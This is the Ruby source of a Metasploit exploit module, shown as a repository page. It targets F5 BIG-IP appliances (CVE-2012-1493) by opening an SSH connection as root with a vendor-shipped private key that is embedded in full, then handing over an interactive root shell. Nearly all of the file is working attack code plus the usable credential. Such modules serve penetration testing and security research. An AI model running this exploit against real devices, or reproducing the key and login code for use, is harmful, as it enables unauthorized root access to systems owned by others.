Path: blob/master/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb
28443 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'7require 'rex/socket/ssh_factory'89class MetasploitModule < Msf::Exploit::Remote10Rank = ExcellentRanking1112include Msf::Auxiliary::Report13include Msf::Exploit::Remote::SSH1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'F5 BIG-IP SSH Private Key Exposure',20'Description' => %q{21F5 ships a public/private key pair on BIG-IP appliances that allows22passwordless authentication to any other BIG-IP box. Since the key is23easily retrievable, an attacker can use it to gain unauthorized remote24access as root.25},26'Platform' => 'unix',27'Arch' => ARCH_CMD,28'Privileged' => true,29'Targets' => [ [ 'Universal', {} ] ],30'Payload' => {31'Compat' => {32'PayloadType' => 'cmd_interact',33'ConnectionType' => 'find'34}35},36'Author' => ['egypt'],37'License' => MSF_LICENSE,38'References' => [39[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],40[ 'CVE', '2012-1493' ],41[ 'OSVDB', '82780' ],42[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/25/press-f5-for-root-shell' ],43[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ]44],45'DisclosureDate' => '2012-06-11',46'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },47'DefaultTarget' => 0,48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION],51'SideEffects' => []52}53)54)5556register_options(57[58# Since we don't include Tcp, we have to register this manually59Opt::RHOST(),60Opt::RPORT(22)61], self.class62)6364register_advanced_options(65[66OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),67OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])68]69)70end7172# helper methods that normally come from Tcp73def rhost74datastore['RHOST']75end7677def rport78datastore['RPORT']79end8081def do_login(user)82opt_hash = ssh_client_defaults.merge({83auth_methods: ['publickey'],84port: rport,85key_data: [ key_data ]86})8788opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']8990begin91ssh_socket = nil92::Timeout.timeout(datastore['SSH_TIMEOUT']) do93ssh_socket = Net::SSH.start(rhost, user, opt_hash)94end95rescue Rex::ConnectionError96return97rescue Net::SSH::Disconnect, ::EOFError98print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"99return100rescue ::Timeout::Error101print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"102return103rescue Net::SSH::AuthenticationFailed104print_error "#{rhost}:#{rport} SSH - Failed authentication"105rescue Net::SSH::Exception => e106print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"107return108end109110return false unless ssh_socket111112# Create a new session from the socket, then dump it.113conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)114ssh_socket = nil115conn116end117118def exploit119conn = do_login('root')120if conn121print_good 'Successful login'122handler(conn.lsock)123end124end125126def key_data127<<~EOF128-----BEGIN RSA PRIVATE KEY-----129MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh130UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk131OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB132gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF1338auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv1347r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM1352oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s13637+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL137RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4138rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/139uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU140Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G141LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS142-----END RSA PRIVATE KEY-----143EOF144end145end146147148